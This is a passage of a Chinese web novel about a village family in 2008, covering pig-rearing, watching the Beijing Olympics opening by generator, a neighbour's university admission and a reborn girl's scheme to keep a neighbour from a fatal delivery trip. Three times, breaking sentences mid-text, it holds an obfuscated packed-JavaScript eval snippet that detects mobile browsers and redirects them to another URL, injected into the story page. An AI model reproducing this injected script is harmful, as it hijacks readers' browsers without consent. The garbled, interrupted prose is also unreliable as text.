陆易宁伸长脖子看,“大舅舅,我妈今天刚给你家送腊肉,你又送回来了。” “七七,你不懂,腊肉就是换着口味吃。你妈妈做的跟我做的不一样。”刘森压低声音单独对陆易宁说:“我熏的腊肉比你妈妈熏的好!” 30. 第三十章 过完年,郑煦苦苦哀求郑松给他安装的卫星天锅也没有装好。 郑煦和陆易安看动画片依旧只能去罗伟家看。 一直等到一年级寒假,郑松才履行了诺言。 一年级有两个班,郑煦在一班,陆易宁在二班。 零八年初的凝冻十分严重,一月份几乎每天都在下冻雨,领成绩单当日,郑煦摔了无数个跟斗才把自己的成绩单领回家。 赵倩下班回来时,郑煦从床上翻爬起来拿成绩单给她看,成绩单半遮住的手掌心因为摔跤被砸出血,破皮的地方污血凝结,赵倩见状,心疼得要命。 郑煦催她看成绩单上的成绩,班级第二,与第一名只差了一分。 赵倩当晚差点哭了,第二天就逼着郑松履行给孩子安装卫星天锅的诺言。 地上的冰冻半个月都不见化开,街上的班车整齐地排列在街边,停止了发车。 刘秀珍去年没能回家陪母亲过年,今年因为凝冻,工厂停了几天工,难得大年三十不用上班,又因为路况不行,回不了家。 二月,天气变好了,工厂正常开工。 郑家成功安装好卫星天锅那天处于寒假末,当天,陆家三姐妹提着小凳子跟着赵倩去了她家。 赵倩去给孩子们端瓜子,陆易安和郑煦则是为了争遥控器的使用争得火热。 陆易安要找《中华小子》,郑煦要看《喜羊羊与灰太狼》。 最后,遥控器被赵倩收回去。 陆易宁坐挨着赵倩,她不停地按遥控器,各个卫视的电视节目出场的时间不超过两秒。 郑煦苦苦哀求,“妈,我要看喜羊羊。” “少儿频道现在没播喜羊羊。”赵倩好似一个无情的遥控机器,一直在调电视频道。 “那看别的动画片也行啊!” “现在是广告。”赵倩继续调,电视屏幕上一个古风扮相的男人闪过,陆易宁连忙喊住她,“上一个,倩倩阿姨,上一个好看。” 赵倩听她的话调回去,陆易宁看着电视上的男演员,满意地点了点头,“倩倩阿姨,这个电视好看。我听我同学说,这是一个关于找妈妈的故事。” 电视上播出的正是《龙游天下》。一部有关男主角隐瞒国主身份寻找母后的悬疑剧。 陆易宁第一次看这部剧,别的记不住,就知道男主角风度翩翩,女主角非常漂亮,还有那个胖子配角碗里的几只“鬼”。 找妈妈?赵倩来了兴趣,看了几分钟,还不错。 陆易安觉得男主楚天佑好帅,郑煦喜欢搞笑配角丁五味,陆易安和郑煦的矛盾就这样被调好了。 陆果果啥都看不懂,只要看见那个神兮兮的胖子就哈哈笑。 …… 年前宰玩年猪,刘秀珍心血来潮,从罗伟家买了一对猪回来养。 陆平反对不成,被刘秀珍逼着将院子后方,稍微大一点的圈收拾干净,用来喂猪,另一间圈用来烧猪食。 这下好了,每天早中晚都要喂猪,本来上班就累,一回家又要火急火燎地喂猪。 陆易安和陆易宁被成功授予喂猪要领,那就是提着装满猪食的胶桶走到圈边,一瓢一瓢地将猪食舀进猪槽。 两只猪吃东西时是不会安安静静的,有时候猪食瓢刚到圈口,它就跳起来咬。这个时候陆易安直接倒,才不管猪食有没有倒进猪槽。 猪食落在猪头,猪背或者是猪槽外边也不怪她,该怪的是抢食的猪。 没几个月,母猪怀了猪崽,陆平崩溃了。 刘秀珍卖猪回来就是要等猪下崽,年后一块将猪崽全卖出去。 以后要养十来只猪,陆平想想就心累。 心累又如何,媳妇嘴凶,听着更累。 母猪产崽当晚,陆平在上夜班,刘秀珍上白班回来,连同三个女儿一直忙活到十点才停。 一共产了八个崽,其中一只小猪生出来没几天,被其它猪咬得身上全是血,差点死了。郑松手艺好,用木板帮忙做了个保温箱,专门用来给受伤的小猪养伤。 陆果果觉得小猪可怜,从小猪刚进保温箱那一刻起,无时无刻都在守着它。 怕小猪有什么意外,保温箱被放在陆平和刘秀珍的卧室。 陆果果瞅着小猪身上的斑斑血迹,若有所思地说:“郑叔叔,我感觉这只猪好像我爸爸。” 郑松和陆平听罢,觉得她在说他爸爸是猪,笑了一会儿。 刘秀珍去隔壁旁边孩子们的房间拿了两身旧衣服来给小猪垫在保温箱里,郑松开玩笑说:“刘姐,你家陆果果觉得你嫁给了一只猪。她说陆哥像这只小猪崽。” 陆平笑完,假装严肃地教训道:“哎呀,我是你爸爸呀,你怎么能说爸爸像猪呢?以后别这样了。” “可是我就觉得像啊,陆七七也觉得像。爸爸就跟这只小猪崽一样,明明都是猪妈妈的孩子,猪妈妈不让它喝奶,别的猪崽咬它时,猪妈妈不管,还要和别的小猪崽一起咬它。”陆果果天真地问:“它不是亲生的吗?还是它其实跟丑小鸭一样,它现在是丑小猪,以后要变成天鹅猪?” 几句话,几个大人同时沉默。 刘秀珍默不作声,埋头给保温箱里垫衣服,陆平脸上的笑容早就消失了。 “它从圈里搬出来了,以后不要送回圈里好不好?”陆果果拉扯着陆平的袖口,“好不好?爸爸?” 陆平扬起嘴角,“好,不送回去。” 小猪在保温箱里养了一个多星期,身上的伤好得多了。 陆果果又有了一个新朋友。 早上去杨奶奶家里陪杨奶奶晒太阳,下午将小猪抱到阳台上吹晚风。晚上父母不在家,她会亲自抱着小猪在父母的床上睡觉。 …… 六月,高考结束,陆易安依旧每天去赵家看电视剧。陆易宁则是跑去周大爷家,找周丽玩。 厂里忙,陆平加班,从早上七点忙到晚上八点回来。 衣服不换,二话不说就躺在床上睡觉。 迷迷糊糊,还没完全入睡就被猪舌头舔醒。 陆平睁开眼,猪舌头迎面而来,伴随着似有似无的猪屎臭味。 陆平掀开被子,枕头下方全是猪屎,始作俑者将猪屎踩得到处是,被子上床单上,还有自己的背心上都有。 刘秀珍和赵倩下班回来,两人在路上说别人的八卦,有说有笑的,陆易安在周丽家里听见母亲的声音,和周丽道完别,跑出来跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438388|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一块回家。 家门口的路灯开着,几人到家门口,就看见陆果果大喇喇地睡在地上。 她的身下垫着陆平刚扔下来的床单被套,听见母亲和倩倩阿姨的声音,陆果果爬起来,哭得委屈死了,“妈妈,爸爸不让我在床上睡觉。” 刘秀珍看见被套和床单被女儿垫在地上,来气了,还没开始骂,陆平又从阳台上扔了一个枕头下来。 “她把猪崽放床上睡觉,床上被弄得全是猪屎猪尿。” 原来如此。 赵倩哈哈哈笑出来,“哎哟,果果,你爸爸是对的。” 刚才在周大爷家,周丽给了陆易宁几颗糖,陆果果张大嘴巴哇哇哭,陆易宁剥开一颗花生糖扔她嘴里,“别哭了,谁让你天天抱着猪睡爸妈床上的?” 刘秀珍恍然大悟,指着陆果果骂:“怪不得我这几天睡觉总感觉有股尿骚味,去看保温箱,保温箱又里是干的,原来是你这小家伙抱着猪在床上尿了!” “它尿完,我不是把被子掀开,让床单晾干了吗?” 陆易宁和赵倩笑得合不拢嘴,陆果果觉得自尊心受辱,又开启瘪着嘴巴哭:“有什么好笑的?我不跟你们玩了!” 换下来的床单被罩被晾在院子里晒了几天才被收回去,由于小猪崽的身体情况恢复良好,刘秀珍打算把它放回圈里,回到猪妈妈身边。 陆果果不允许,哭了一阵,陆平只好在烧猪食的圈里另一侧重新给它砌了一个单间。 …… 高考成绩出来,周丽以六百二十八分的成绩成为方安县的文科状元。 陆易宁也以一百九十分的总分成绩收官一年级的学习生涯,成为一升二的状元,郑煦被压了一头,占据榜眼的位置。 陆易安在二年级一如既往,学了一点,但是不多,排在三十名。 陆易宁又得了第一,陆平和刘秀珍狠狠奖励了她一顿,零花钱自然是少不了。虽然是奖励,但是有陆易宁的份,就会有陆易安和陆果果的一份。 陆易安巴不得妹妹的成绩一直好下去,这样,她就可以沾她的光,多得点零花钱。而且,更值得高兴的是,父亲给家里装了卫星天锅,不用去别人家,她也能看电视剧了。 …… 周丽收到人大录取信息当天,长年在外打工的父亲通常几年才回来一次,今年暑假神奇地回来了。 晚上,周家人在马路上放烟花庆祝周丽考上中国人民大学,住在附近的人们都来看热闹。 大人们嘱咐小孩子要跟周丽大姐姐学习,以后 也要考个好大学。 别人或许只是说个乐,陆平却是真往心里去了。周丽一回家,他二女儿就会缠着周丽玩,近朱者赤近墨者黑,想必能沾一点聪明智慧呢。 有几次周丽当着他的面说女儿很聪明,他觉得没什么,今儿见识了县状元的排场,状元姐以前说的话就成了金玉良言。 陆平站在女儿身后,“陆七七,你看见了吗?等你们以后考上好大学,我也要在家门口摆一排冲天炮哗啦啦地放。” “那要是考不上呢?” “考不上的话,”陆平抬头望着黑空中绚丽绽放的烟花,“考不上的话,就再说嘛!” 31. 三十一章 街上的医院组织小孩疫苗接种工作,大人们在上班,陆易安就负责带领家附近的小孩跟着周丽去医院打预防针。 七八个孩子,最小的三岁。 以前打预防针都是父母带来打的,今年爸妈没来,陆易安就担起了哄孩子的工作。 接种不同的疫苗要拿着医疗本去不同的接种台,周丽帮陆果果找好位置,又带着陆易宁和别的孩子去别的地方。 上一个被针头刺哭的小孩用棉签压着胳膊哭,陆易安不用打预防针,就陪着陆果果,怕陆果果被影响,不停地给陆果果做心理建设,“陆果果,你不要怕,不痛的。”陆易安指着放疫苗旁边的白盒子,盒子里装了半盒白色的糖丸,“你打完针,护士姐姐还会给你糖吃。” “好。” 陆果果露出胳膊肘,乖乖地坐在小板凳上等护士给她打针。 护士用沾了酒精的棉签擦拭她的手臂,温声细语地说:“小朋友,姐姐会轻轻的,一下下就打完了。” 陆果果的视线跟着护士的手转来转去,“谢谢姐姐。” 一针下去,冰冰凉凉的,除了刚开始有点感觉外,也没什么。 陆果果没有哭。 “哎呀,小妹妹真乖。”护士给了她一枚糖丸,陆易安眼珠一转,笑嘻嘻地说:“天使姐姐,我也想吃糖丸。” 这可是真糖丸,才不是前几天母亲骗她吃的那种。宝塔糖难吃得反胃,怎么能跟糖丸相比? …… 夏季多雷雨,中午天一开始闷热,就意味着这场暴雨来势汹汹。 打完预防针回来,陆易安刚打开电视没多久,屋外雷声阵阵,又被迫关掉电视。 雷声仿佛能把整个小镇震碎。下午两三点,天黑沉沉的,时而一道闪电劈下来,短暂地发出一阵刺目的白光后,闪电劈断了树枝,树枝压断电线。 一场暴雨结束,淅淅沥沥的小雨接连下了一晚。 大水奔涌而来,刚度过多水期的田沟,白天还是涓涓细流,一晚过后就发出哗啦啦的流水声。 街上的排水系统不好,有很多地方都被淹了。 昨天下午停的电,由于多个地方的电线被树枝压断,第二天中午都没抢修完。 早上没电,不能看电视,陆易安只是烦了一阵。 没有电,但是有太阳啊。 家后面的田水沟里的水哗哗淌,陆易安最喜欢踩沟水。 水沟里的水势变小了一点后,休班在家的大人带着孩子们穿着凉鞋出去踩水玩。 陆平带着陆易安和陆果果去水沟边跟别的小朋友打水仗。 没有电,用不了电磁炉,刘秀珍只能把小火炉生起来给孩子们做饭吃。 火烧起来,架上锅,开始蒸饭。 孩子们都在玩,只有二女儿在楼上看书做暑假作业。 刘秀珍从来不操心女儿的学习,她操心的是女儿每天都在学习,小小年纪就压力大。所以,晚上该看电视的时候,她会上楼把陆易宁的作业收了,让她下楼看电视。 她觉得女儿天天学习,电视都不看,太累了,其实是八点档很少有陆易宁喜欢的电视。 晚上十点,陆易宁照样能偷偷下楼,拉着陆易安和她一块看湖南台播出的偶像剧《公主小妹》。 蒸饭的间隙,刘秀珍上了二楼。 陆易宁听见她的脚步声,连忙把言情小说和初中函数知识点汇总笔记塞在枕头底下,坐在床边装模作样地写数学暑假作业练习册。 “陆七七,你还在做作业?”刘秀珍推开房门走进来。 “啊,我今天的作业还没写完。”陆易宁奋笔疾书,几秒一个口算题。 刘秀珍从衣柜里找出一条牛仔短裤,去鞋架旁边拿了一双凉鞋放在陆易宁的脚边,“去沟边找你爸,跟他们玩会儿。” 陆易宁明白母亲的用意,“我不想玩水。” “那你想玩什么?” 陆易宁支支吾吾地说:“我想看电视,但是没电啊。” 这倒是难到了刘秀珍。 他们都说这场雨过后,电怕是要几天才能来。 “今天奥运会就开始了,电还能来吗?”零八年的奥运会开幕式可是能载入史册的,能再次经历,陆易宁自然不想错过。 “郑阳阳家里有发电机,如果来不了电,那就等郑叔叔下班回来,看他能不能用发电机。”刘秀珍将陆易宁摆放在床上的作业收好,命令道:“现在,你就下去走走,别总是待在房间。” 陆易宁努努嘴,站起来,将床边的小凳子放回床底下。 她在楼上做作业时,几乎都是以床为桌子的。陆易安在楼下写作业,好歹能拿饭桌对付,陆易宁喜欢在楼上,就只能用床了。 刘秀珍突然觉得自己当妈当得太大意了,房间里的东西少,很空,明明还能添几张桌子的,她竟然就没想过给女儿买张桌子来写作业。 刘秀珍询问女儿的意见,“我给你们买张书桌,你要不要?买一张大一点的,你和姐姐都能用。” “好啊。”陆易宁在窗前比划着,“就买来放在这,要那种木的,附带得有木格子的,可以装书在里面的那种。” “那……要不要台灯?”刘秀珍笑着说,“我看人家电视里面,晚上点台灯坐在书桌旁很好看的样子。” “那我要暖色调的那种。” 她很少向自己提要求的,难得提一次,刘秀珍除了满足她就是满足她。 晚上八点,电还没来。 罗伟在家门口唏嘘道:“哎哟,这个电还没修好,今天能看个鬼的奥运会哦!” 周大爷在斜对面拿着烟斗,呼出一口气,长声长气地说:“四年一次,还是我们国家第一次办,可惜了可惜了,就是不晓得过几天有没有重播。” 郑松刚把发电机搬到院子里,听见外面的对话,连忙出去说:“我家有发电机,想看来我家看!” 就这样,收到郑松的号召,晚上七八户人家拖家带口,带着小凳子走进郑陆两家的院子里。 电视机放在郑家的小饭桌上,怕位置不够高,几个男人从圈边搬来砖块,拼成了一个高台,好让饭桌放在上面不会倒下来。 八点二十,准备工作完毕。 小孩子们坐在前排,大人们坐在后面。 电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438389|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视机开到最大的声音,压过圈里陆家喂的那群猪哼哧哼哧的动静。 陆易宁喜欢这个感觉,所有人凑在一起,热热闹闹地看热热闹闹的电视。 乡镇上的老一辈大多没怎么读过书,对奥运会的认识不多。之所以知道奥运会,也是因为听新闻上说今年的奥运会在北京举办。 新闻都说了,加上年轻人们经常提,那肯定是个大日子啊! 周丽是一群人里最见多识广的了,有人问周丽奥运会这么大的活动,上一次是在哪举办的。 周丽说:“雅典。” 问话的老人是街口卖水果的熊大爷,六十多岁了,哪个地方的水果甜没打药他知道,要问雅典是哪个国家,他没那个闲工夫去了解。 周丽又说:“刘翔就是在雅典奥运会打破奥运会纪录获得的金牌。” “哎哟,看来真是个大日子。”熊老头啧啧叹道。 雅典他不熟,但是刘翔这个名字他知道。 缶阵显示出的倒计时开始,看得人们啧啧称奇。 郑松边看边问:“北京是夏季奥运会?那冬奥会是哪个国家办的呢?” 还有冬奥会呐? 周丽说:“2010年的冬奥会在加拿大。” 周丽又科普了一番冬奥会与夏奥会的区别,引得大人们一阵夸。 不愧是高材生,知道的就是多。 “四年才能举行一次。”周大爷长叹道:“我还以为冬奥会也是在北京办呢?” “22年就能在北京举办了。”陆易宁脱口而出。 “为什么要22年才能办?22年是什么时候?”陆果果呆呆地问。 陆易宁看了她一眼,继续看别人,还好,大人们都在看电视,没有谁听见她说话。 “我瞎猜的。”陆易宁将陆果果的脑袋扭正,“好好看电视。” 运动员们入场,各种肤色的运动员相继出现在电视上。 年纪稍微大一点的人都在说这个国家的人好白,那个国家的人皮肤好黑好高。 电视机里的欢呼声高昂,罗伟指着电视机里的运动员问:“哎哟,他好高啊?他是做什么的?” 陆易宁顺着脑袋上方的手看去,镜头现在在拍科比。 陆易宁说:“他是打篮球的。” 周丽补充道:“罗叔,他是美国很有名的球星哦。” “球星?”罗伟又问:“能有姚明打得厉害吗?” “这个……”周丽欲言又止,“我不懂篮球,总之他也很厉害。” 开幕式结束,热闹收场,各回各家。 对第二天要去上班要下地的人来说,这场狂欢他们只能参与一个开端。 但是小孩帮就能参与全程。陆易宁和小孩们赌金牌榜和奖牌榜榜首会是哪个国家。猜错了的人,就要给猜对的人买小卖部里一角钱一个的干脆面。 陆易宁毫不犹豫,押中国。 那群小孩子无论是年级高的年级低的,也押中国。毕竟在孩子的视野里,祖国肯定是最厉害的。 陆易宁跟一群只知道中国和外国两个国家的孩子做的赌注显然不成立。 32. 三十二章 周丽的大学录取通知书八月中旬才寄到镇上。 在方安县,孩子考上好大学,部分人家会给孩子办升学宴,请亲戚朋友来家里吃饭。 不过,大部分父母都会选择摆酒席,这样可以收宾客的礼金,用来给孩子交学费,做生活费,又或者自己花。 这个年份,状元酒席的含金量还是有一点的。摆酒席的多数人家都是孩子考了大学才会举办酒席,再过个十年,更有甚者只要孩子参加了高考,大学都没被录取,就连忙把酒席办了。 给孩子收了礼金,第二天孩子就跑去别的城市打工,更别说读书了。 周家只是摆了升学宴,请周围的邻居们去家里吃顿饭,坐在一起聊会天。 升学宴的规模不大,但是亲戚朋友加上邻居,几十个人也要摆上几桌。 杨老太太的身体不好,儿媳妇早些年就病逝了,周大爷和儿子孙女忙不过来,周围的邻居们一得空,就会去周家帮忙。 办升学宴的食材会提前两天买好,升学宴当日,早上肘子一出锅,周丽就选了一个最大的和一个稍微小一点的装在大碗里给陆易宁送去。 她答应她的,只要考上了人大,就给她吃猪肘子。 陆易宁在楼上背单词,听见陆易安的声音,飞快地冲下楼。 两个肘子,陆易安和郑煦在吃大的那个。 周丽坐在沙发椅上,“我本来想给你一个大的,但是我怕你吃腻,中午没胃口吃饭,给你选了一个小的。” 陆易宁去小厨房拿碗过来,坐在小饭桌旁边和另外两只馋鬼分肉,“谢谢小丽姐,我又不是猪,吃不了多大的。” “屁,我觉得你能把这两个全吃了。”郑煦的嘴边油叽叽的,说话期间,筷子就没从肘子肉里离开过。 “你都说了,那我就把这两个全吃了。”陆易宁一筷子打他手上,“我今天吃不完,我留着明天吃。” 陆易安抢了一大坨瘦肉放在自己碗里,才顾不上他们两个怎么争,“管你今天吃还是明天吃,我现在一定要吃。” “我家那里还有,不够吃去我家吃。”周丽笑呵呵地调解道:“果果在我家后院里现在都吃怕了,那些嬢嬢叔叔炒一个菜就往她嘴巴里送一坨肉,炒一只鸡,就给她拿鸡腿。你们也去嘛。” “我不去。”自从上了学,陆易安很少在别人家办事儿时去后厨的地盘转,倒不是因为不好吃。 周丽问:“为什么?” 陆易宁替她答了,“因为那些大人总是问她成绩,问她班级排名,问她作业写完了没有,还爱拿她和自家孩子做比较,而她是被比下来的那个。” 陆易安…… “小丽姐,我就说你能考上人民大学的吧。”陆易宁喜滋滋地说。 “是哦,借你吉言。”周丽站起来,捏了捏她的小脸蛋,“我回家去帮忙了,中午吃饭的时候,我们几个坐一桌。” “好啊!” 周丽高中毕业后,高中三年做的笔记,用的辅导资料,读过的名著小说,无论是国外的还是国内的,陆易宁靠刷脸借来了一大半。 周丽才不会管她看不看得懂,反正她这一借,房间书桌的压力确实少了很多。 陆易宁说如果周星读了高中,她会还回来。周丽则说她想看到什么时候就看到什么时候。 什么《小妇人》《简爱》《傲慢与偏见》《呼啸山庄》,她都拿回家来看。当然,看完了要还回去。 这些小说是周丽从初中到高中收集的,让陆易宁出乎意料的是,这些小说还有英文版,而且周丽还在上面做了注解。 简直美极了。 …… 奥运会迎来尾声,跟陆易宁和家附近所有小孩押的一样,中国奖牌榜第一,奥运会完美收官。 大人们依旧在忙于生计。 郑松工作日在厂里上班,休息日会去给别人开货车送货。拉水泥,拉砖,拉建房子的石沙。 有时候送去县城,有时候送去小镇附近的村落,偶尔会拉一些猪和牛去市里。 送货去市里,走高速,碰上堵车,在屠宰场一折腾,来回少说也要七八个小时。当然,费用是在家附近送货三四次也比不了的。 郑松这周排班排到周日休息,早上七点起床,吃完早饭,就要去给砖厂送货。 郑松夹完锅里的面条,跑去后院,从鸡圈上的破桶里扯了一点细葱切碎放进碗里。 陆易宁此时坐在他家厨房门口,郑松拌好面条,还拿了一个小碗放在厨台上。 “七七,要不要吃面啊?叔叔煮的面条巴适得很哦!” “不用了,郑叔,我吃稀饭了。” “真的不吃吗?” “我吃过了。” “那好吧。”郑松又把小碗放进碗柜里。 一只手端面,一只手提着凳子出来,和陆易宁坐在门口。 太阳虽然出来了,但是晨雾还没散,干田里没有一点太阳光的影子。 陆易宁撑着下巴问:“郑叔,你下周也是星期天休息吗?” 郑松嗦了一口面,吃得美滋滋的,“不是啊,我下周星期六休息。怎么了?有什么事吗?” 不对啊,上一世郑叔叔送货出意外,是在周天。 陆易宁记得很清楚,因为第二天就是二年级新学期开学。那时候郑煦要在家里守丧,没能去学校。 “我是看天气预报上说过几天会下大雨,我怕你送货的时候不好开车。” “哎哟,谢谢七七的关心。”郑松嘴里吃着面,“不过谁说我下周要送货了?” “我就是说说。”还有一个星期,哪怕只有一天,都会出现变故,陆易宁说:“那你要答应我,下个星期天,你下班回来,我要拿我的暑假作业给你检查完,第二天才能拿去学校给老师看。” “好啊!”郑松叹了叹气,“我家郑阳阳要是像你一样我就放心多了,那个小家伙,我从上周就问他的作业,今天还没拿给我看。” “他说现在还不是时候。”陆易宁心塞地扯着嘴角笑,“郑叔,郑阳阳经常去我家借我姐二年级的书跑去周大爷家喊周星哥教他。我们悄悄约定好,下周六等你休息的时候,想请你给我们出题,我们比赛谁先做出来。所以,如果厂里有人和你调班,你也不要调。有人喊你拉货,你也别去,就要周六休息,给我们当考官。” 听到这番说辞,郑松一拍大腿,他就知道,他儿子虽然贪玩,但还是很有上进心的。 “好,我给你们当考官。” 刘秀珍收拾完,准备去上班,一下楼就听见这话,一巴掌轻轻拍在陆易宁的后脑勺上,“你郑叔叔不给人拉货,你去给帮郑叔叔赚钱吗?” 郑松问:“刘姐,去上班了?” “对啊,你今天要拉砖去哪?” “去县城。”郑松说:“有所小学要建食堂。” …… 天气预报预测的天气很准。 一到周三,就开始下雨。明明雨季已经过去了,最近几天还是阴雨绵绵的。 下午七点,赵倩正要去上班,郑松下班回来,就告诉她自己周末要调班的事。 有人打电话给他,需要他周日送一车猪到市郊的屠宰场。 大人跟小孩子随口定的约定,自然比不过生计。 郑松比着三个手指头兴奋地说:“这次老板给我提了价,一趟三百块,够我在厂里做几天的。” 三百块,确实是个很诱人的数字,但比起命来,也太廉价了。 上次郑松拉货去市里,半道一个大石头从山上滚落下来,差点砸到他的车,幸亏他刹车踩得紧,逃过一劫。 那次回来,赵倩心里一直有个阴影。 “郑松,你能不能不要接市里的活啊!”赵倩穿上外套,现在时间才七点,还有时间和他商量,“街上的客车师傅都在说去市里的路有鬼,山上经常掉石头下来。更别说这几天每天都在下雨了。你上次大晴天去送的货都遇着了,现在还去!” “山上的土质松,偶尔掉一个石头下来正常。”郑松往水缸里舀了半瓢水,咕噜咕噜地喝完,有点精神了,“而且有三百块,养猪场的老板都说,以后拉货都找我。你看,我这几年来,从他那里少说也挣了几千块了。” 赵倩的脸色还是很难看。 “你不是想开个网吧吗?”郑松拍拍胸脯,“我多去几趟,一台电脑的钱就来了。再往周边的地方转几圈,说不定还能凑个台球桌的钱。” “我又不是太想开网吧得很。”赵倩说:“我连电脑都不怎么会用,我就是看电视剧里的人打电脑的时候,觉得很厉害,随口说说而已。” “不会才要学啊。”郑松说:“你忘了,你去四川的时候,我们俩就是在网吧里遇见的。那时候你还夸我打电脑打得飞起!” “是我那个时候没见过世面,憨得要死。我看你打游戏,还以为你在打字。” “幸亏你没见过世面。”郑松打趣道:“要是你见过世面,就不会把我带到你家来了。说不定,我现在还在四川当街溜子呢。” “那是。”赵倩嘴上说着气话,但是脸上的笑容无论怎么掩饰都掩饰不住。 “刘姐上班忙,很少做衣服,我都多久没看见你穿裙子了。”郑松笑着说:“我之前送货去市里的时候,看见服装店里的娃娃穿着的一身牛仔裙,浅蓝色的,长袖,肩膀两边还是你喜欢的,那种有点肿起来的” 赵倩唉了一声,“那叫泡泡袖,什么叫肿起来的。” “好,泡泡袖。”郑松认真地回想着,“是方领,你穿着应该能到小腿肚。我看那假娃娃穿着还没你好看。可惜了,我当时还没收到工钱,身上的钱不够买。这次去,我就给你买回来。再不穿,天气该冷了。” “买什么买?”赵倩的脸上是压抑不了的笑意,“天天进厂,哪有时间穿。” “等过几年,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438390|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家开店,你当了老板娘,天天穿着去。” 简单的几句承诺就把赵倩勾成翘嘴。 既然如此,那只能让他继续送货咯。 …… 周六,前几天下雨,气温骤降,陆易安抢被子抢得厉害,陆易宁晚上受凉,得了感冒。 黄兰家里有通鼻贴,见陆易宁鼻子塞得严重,就喊她来家里给她拿药。 黄兰刚给陆易宁贴上鼻贴,罗伟就回来了。 现在快八点半了,快到上班时间了。 黄兰问:“你怎么回来了?是落下东西了吗?” “郑松说明天有事,想跟我调个班。他明天休息,我今天休。” “主管知道了吗?” “不然嘞,主管不知道,我能回来啊!” 真是赶上巧的了。 陆易宁向黄兰道完谢,立马跑回家。 所以,郑叔叔故意调成明天休息,明天还是要去送货。 第一世,他去送货途中,半道遭遇公路塌方,车子和人一块掉到高二十来米的大斜坡底部。 上一世,陆易宁有心阻止这个意外,但是对于第一世童年的记忆过于模糊,大人们日后说起过,她也不放在心上。她只记得郑松是在她读二年级或者是三年级时出的意外,包括后来的郑煦出事,她也只记得一个大概得时间段。 两次都是赵倩在家门口大哭,她才知道事故发生了。 她当时除了自责,什么都做不了。 明明自己知道会有意外,却只能再三在大人跟前疯疯癫癫地说一些不吉利的话,什么也阻止不了。 第一世不知道,第二世记不清,现在陆易宁记得再清楚不过。 只是,如果自己在大人们面前说郑松会出意外的话,肯定会被揍的。 陆易宁躺在沙发椅上,盯着发黄的天花板,思索着对策。 明天早上拖着郑叔叔的腿不让他去? 不行,会被爸妈拉回家打一顿,然后郑叔叔依旧会去。几个月前她就这样试过,结果被揍了。 把货车的轮胎戳破?显然不能,因为货车是人家养猪场里的,好端端地停在厂里,她进不去。 思来想去,陆易宁以天气不好,新闻上说地质学家推断由方安县去市里的方阳公路底部地质疏松,容易出意外为由喊陆平劝一下郑松。 结果两个大人异口同声地说看了天气预报,明天大晴天,地质学家没说过那种话。 她上个星期打了几次号码百事通,好不容易找来交管部门的电话,理好思路,准确无误地说出公路上出现的地质问题。接听员听完,说她打错部门电话了,还温柔地教育她小孩子不能乱说谎,并贴心地告诉她该给什么部门打电话。 陆易宁继续打电话到相关部门,得到的答案是已收到反应的情况,后续会着手处理。 至于什么时候处理,不确定。 毕竟未来的事只有她知道,在事情还没发生前,一切都是浮云。 算了,打铁自身硬。 晚上,陆易宁跑到郑煦的房间,将他的闹钟从晚上八点调到晚上十一点,并贴心地倒扣在他的床头柜上。 第二天早上六点,陆易宁头昏脑涨地走进院子里,打开郑煦房间的后门。 还好,这家伙睡觉经常忘记锁门的习惯没改。 “郑阳阳,你快醒醒!”陆易宁摇醒郑煦。 郑煦迷迷糊糊地睁开眼,“你搞哪样啊?大早上来我家做什么?” “你小点声。”陆易宁摇了摇头,把他的闹钟拿到手里,“你看,都快九点了。昨天晚上我们老师打电话给我……给我爸,说二年级今天要去学校报名,明天直接读书。” 陆易宁只感觉头快炸了,脑袋内部热得涨涨的,“我妈让我喊你一块去。” “罗玉龙也去了?” 罗玉龙是罗伟的大儿子,跟郑煦同班。 “他早就去了。” 郑煦翻爬起来,脸都没洗,陆易宁就提着他的书包走到院子里。 “我的作业还没收啊!” “你妈昨天晚上给你收好了,我们要抓紧去学校,不然迟到了,老师又要骂人了。” 大早上被喊醒,郑煦头脑不清,陆易宁则是有点发高烧导致意识也不太清楚。 俩人背着书包出门时,大人们都还没起床。 这半个学期是新学期,新学期开学,不少家长会带着孩子来学校报名学前班。 周末报完名,周一就可以开学。 学校的门卫一早就把校门打开了,陆易宁和郑煦晕乎乎地赶来,看见开着的大门,郑煦不怎么吃惊,陆易宁差点没反应过来。她本来只打算钻学校围墙底下的破洞把郑煦骗到教室里关起来,再回家告诉赵倩和郑松郑煦失踪了,以此为由尽量将郑松留在家里找失踪的郑煦,从而使他今天去不成市里。 既然保安这么大方把大门打开了,那就走大门吧。 33. 三十三章 一年级两个班的教室是连在一块的,郑煦站在被锁着的教室门前,看向隔壁教室门外昏头昏脑的陆易宁,“你不是说今天报名吗?” 